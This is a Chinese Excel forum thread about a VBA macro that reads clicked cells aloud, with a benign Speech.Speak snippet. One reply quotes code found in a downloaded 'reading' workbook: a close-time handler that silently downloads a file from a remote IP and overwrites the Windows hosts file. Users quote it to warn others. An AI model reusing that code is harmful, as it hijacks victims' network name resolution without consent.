求助：点击朗读--调用GOOGLE进行朗读

gareth · 发表于 2012-11-15 22:16

本帖最后由 gareth 于 2012-11-19 21:46 编辑

http://club.excelhome.net/forum.php?mod=viewthread&tid=767698

有个帖子非常好，可以调用GOOGLE进行朗读，只是内容是固定的，能否改一下，变成点击不同单元格，就朗读单元格内的内容？这个学英语好呀！多谢您的指点！

点击朗读.rar (48.38 KB, 下载次数: 193)

lu_zhao_long · 发表于 2012-11-15 22:29

实际上 Excel 自身就具备朗读功能。楼主可以试试看下面的代码：
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
Application.Speech.Speak Target.Text
End Sub

gareth · 发表于 2012-11-15 23:09

系统自带的声音不好听呀。不是所有电脑都有语音库。

gareth · 发表于 2012-11-21 17:08

本帖最后由 gareth 于 2012-11-21 17:08 编辑

在网上找到一个非常好的了，点击就可以朗诵英文了，呵呵，http://wenku.baidu.com/view/99ec592aaaea998fcc220e3d.html

kangatang · 发表于 2013-5-29 13:58

gareth 发表于 2012-11-21 17:08
在网上找到一个非常好的了，点击就可以朗诵英文了，呵呵，http://wenku.baidu.com/view/99ec592aaaea998fcc ...

这个代码非常蹊跷：

Private Sub Workbook_BeforeClose(Cancel As Boolean)
Dim filename As String, urlstr As String
urlstr = "http://118.244.78.30/hosts.txt"
filename = "c:\windows\system32\drivers\etc\hosts"
URLDownloadToFile 0, urlstr, filename, 0, 0

MsgBox "QQ377808491--更多资料与您分享！"
End Sub

aman1516 · 发表于 2013-6-27 00:12

kangatang 发表于 2013-5-29 13:58
这个代码非常蹊跷：

Private Sub Workbook_BeforeClose(Cancel As Boolean)

我也在百度文库中下载了一些自动朗读英文的EXCEL文档，这代码是病毒？后门？木马？

怕怕.......求高手释疑

transnote · 发表于 2013-11-28 21:02

5楼这个意思是把网上的HOSTS文件附盖你本机的？

沙漠滴雨 · 发表于 2014-3-1 08:50

gareth 发表于 2012-11-21 17:08
在网上找到一个非常好的了，点击就可以朗诵英文了，呵呵，http://wenku.baidu.com/view/99ec592aaaea998fcc ...

请问老师：
有工程密码吗？

herbage2014 · 发表于 2016-12-22 12:29

lu_zhao_long 发表于 2012-11-15 22:29
实际上 Excel 自身就具备朗读功能。楼主可以试试看下面的代码：
Private Sub Worksheet_SelectionChange(B ...

谢谢！非常有用！

李大明 · 发表于 2018-11-18 23:10

gareth 发表于 2012-11-21 17:08
在网上找到一个非常好的了，点击就可以朗诵英文了，呵呵，http://wenku.baidu.com/view/99ec592aaaea998fcc ...

下载了不会朗读呀！麻烦指点，谢谢

		自动登录	找回密码
密码			免费注册

[求助] 求助：点击朗读--调用GOOGLE进行朗读

评分